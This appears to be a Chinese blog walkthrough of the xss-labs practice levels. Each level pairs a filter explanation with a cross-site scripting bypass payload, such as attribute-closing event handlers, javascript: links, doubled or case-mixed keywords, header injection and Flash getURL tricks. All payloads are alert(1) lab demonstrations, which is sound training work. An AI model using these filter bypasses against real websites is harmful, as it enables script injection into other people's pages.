1
网址直接注入
name=<script>alert(1)</script>
2
查看html,对value进行闭合后构建script
"><script>alert(1)</script>
3
对<>"
转义为html实体,不使用<>"
即可,使用'
构造闭合
' onclick='alert(1)
' onmouseover='alert(1)
4
对<>
过滤,使用onclick即可
" onclick="alert(1)
5
<script>
转义为<scr_ipt>
onmouserover
转义为o_nmouseover
onclick
转义为on_click
构造一个JavaScript链接即可
"><a href="javascript:alert(1)">
6
与5相同,对以上的字符串进行转义,并且对href
也进行了转义,为hr_ef
可以对href进行大小写等
"><a HRef="javascript:alert(1)">
7
对script\href
进行了过滤,重写即可
"><a hrhrefef="javascrscriptipt:alert(1)">
"><scrscriptipt>alert(1)</scrscriptipt>
8
应该算是储存性xss,强制转换为小写,并对其转义,编码绕过后点击友情链接
javascript:alert(1)
9
要求包含http头,在8的基础上加上http即可
javascript:alert(1)//http://
javascript:alert('xsshttp://')
10
页面无注入点,查看html,发现一个form表单,其中的t_link、t_history、t_sort
都被隐藏,删掉hidden
后,对这三个表单进行测试,t_sort
可以注入,闭合标签,输入提交以后需要删除hidden
标签成功
" onmouseover="alert(1)
11
进入11以后,发现和10基本一样,但是11的表单中多出一个t_ref
,其中的值是来自于10的网址,于是使用burp查看请求,改掉其中的referer
字段,然后在页面中去掉hidden
即可
" onmouseover="alert(1)
12
查看网页的源码,发现t_ua
,判定对请求的UA修改即可,并删掉hidden
" onclick="alert(1)
13
查看网页源码,发现t_cook
,判定可以对请求的cookie修改以达到注入
" onclick="alert(1)
14
网址无法打开,无法测试。
大概是通过exif注入。
15
ng-include是AngularJS中的指令,可以包含外部的html文件,默认情况下,只能包含在同一域名下。所以可以引用其他页面来完成注入。
'level1.php?name=<IMG SRC=1 onerror=alert(1)>'
16
keyword有get请求,会将keyword获取的数据放在<center>
和</center>
中,直接构造<script>
和构造a标签会强制转义,所以不可用。
采用构造在a标签中构造onmouseover可以达成注入,也可以对img标签中构造onerror可以达成注入。
但是空格也被实体转义,使用%20
1替代
?keyword=<a%20onmouseover="alert(1)">
17
Firefox不能打开swf文件,使用chrome完成。观察网址,有arg01
和arg02
两个注入点,直接对arg02
注入即可。
<embed>
标签定义了一个容器,用来嵌入外部应用或则插件。
arg02=" onmouseover=alert(1)
18
同17一样,只不过arg01
和arg02
参数会互换,所以对arg01
注入即可。
arg01=" onmouseover=alert(1)
19
flash xss
对flash进行逆向,该flash包含getURL函数,可以xss,且arg01
和arg02
在网页中以arg01=arg02
形式存在。
对网址进行构造,将xss写入flash。
?arg01=version&arg02=<a%20href="javascript:alert(1)">test</a>
20
flash xss,没看懂
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width=123%26height=123
- %20是空格,%0a是换行 ↩
《经典xss—labs的xss练习》链接:https://xdym11235.com/archives/16.html
具体版权规定详见侧栏版权说明页面